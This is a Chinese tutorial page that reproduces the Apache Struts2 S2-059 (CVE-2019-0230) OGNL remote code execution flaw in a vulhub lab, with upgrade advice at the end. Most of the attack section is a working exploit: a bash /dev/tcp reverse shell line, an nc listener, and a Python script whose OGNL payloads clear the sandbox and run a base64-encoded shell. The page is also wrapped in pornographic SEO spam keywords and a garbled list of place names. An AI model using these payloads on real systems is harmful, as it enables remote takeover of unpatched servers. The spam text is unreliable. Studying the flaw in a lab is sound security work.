亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

發布時間:2021-12-28 17:51:35 來源:億速云 閱讀:141 作者:柒染 欄目:安全技術

這篇文章給大家介紹怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

2020年,struts2爆出了s2-059預警,最近又出現了s2-061,S2-061和S2-059的OGNL表達執行觸發方式一樣。S2-059的修復方式為只修復了沙盒繞過并沒有修復OGNL表達式執行點,因為這個表達式執行觸發條件過于苛刻,而S2-061再次繞過了S2-059的沙盒。在這里我用s2-059進行測試。

1.簡介

Struts2 是 Apache 軟件組織推出的一個相當強大的 Java Web 開源框架,本質上相當于一個 servlet。Struts2 基于 MVC 架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的數據交互,用于創建企業級 Java web 應用程序,它利用并延伸了Java Servlet API,鼓勵開發者采用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更加整潔的MVC設計模式實現的Web應用程序框架。

2.漏洞概述

2020年08月13日,Apache官方發布了Struts2遠程代碼執行漏洞的風險通告,該漏洞編號為CVE-2019-0230,漏洞等級:高危,漏洞評分:8.5

漏洞產生的主要原因是因為Apache Struts框架在強制執行時,會對分配給某些標簽屬性(如id)的屬性值執行二次ognl解析。攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。

3.影響版本

Apache Struts2:2.0.0-2.5.20

4.環境搭建

4.1本次漏洞環境使用vulhub快速搭建,vulhub下載地址如下:

https://github.com/vulhub/vulhub

將vulhub-master.zip解壓后復制到kali里。

cd vulhub-master/

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

cd  struts/

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

cd  s2-059

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

4.2使用docker-compose快速構建靶場環境。

docker-compose build

docker-compose up -d

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

4.3啟動完成后在瀏覽器訪問http://ip:8080/ 就可以看到測試界面。

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

5.漏洞復現

5.1在瀏覽器訪問http://ip:8080/?id=%25{2*5},可以發現執行的2*5成功被解析了,會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析。

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

5.2使用poc來反彈shell,反彈shell的payload需要使用base64編碼。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1

base64編碼網址:

http://www.jackson-t.ca/runtime-exec-payloads.html

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

5.3kali里執行nc -lvvp 6666進行監聽。

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

5.4將payload修改為自己的payload后復制到文本里,重命名為1.py。利用python運行。

import requests url = "http://127.0.0.1:8080" data1 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

5.5反彈shell

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析

6.修復建議

6.1升級到Struts 2.5.22或更高版本。

6.2開啟ONGL表達式注入保護措施。

關于怎么實現struts2 s2-059遠程代碼執行漏洞CVE-2019-0230的分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

平陆县| 平和县| 长顺县| 安顺市| 东台市| 通许县| 遵义市| 宁河县| 安国市| 昌邑市| 永嘉县| 台南县| 隆化县| 南投县| 名山县| 永泰县| 曲周县| 沧州市| 金堂县| 乌拉特后旗| 黄大仙区| 察雅县| 禄劝| 鄱阳县| 简阳市| 通海县| 高雄市| 吉林省| 溧水县| 琼海市| 湟源县| 收藏| 宁波市| 克拉玛依市| 临朐县| 竹北市| 大港区| 安多县| 辰溪县| 三门峡市| 桐城市|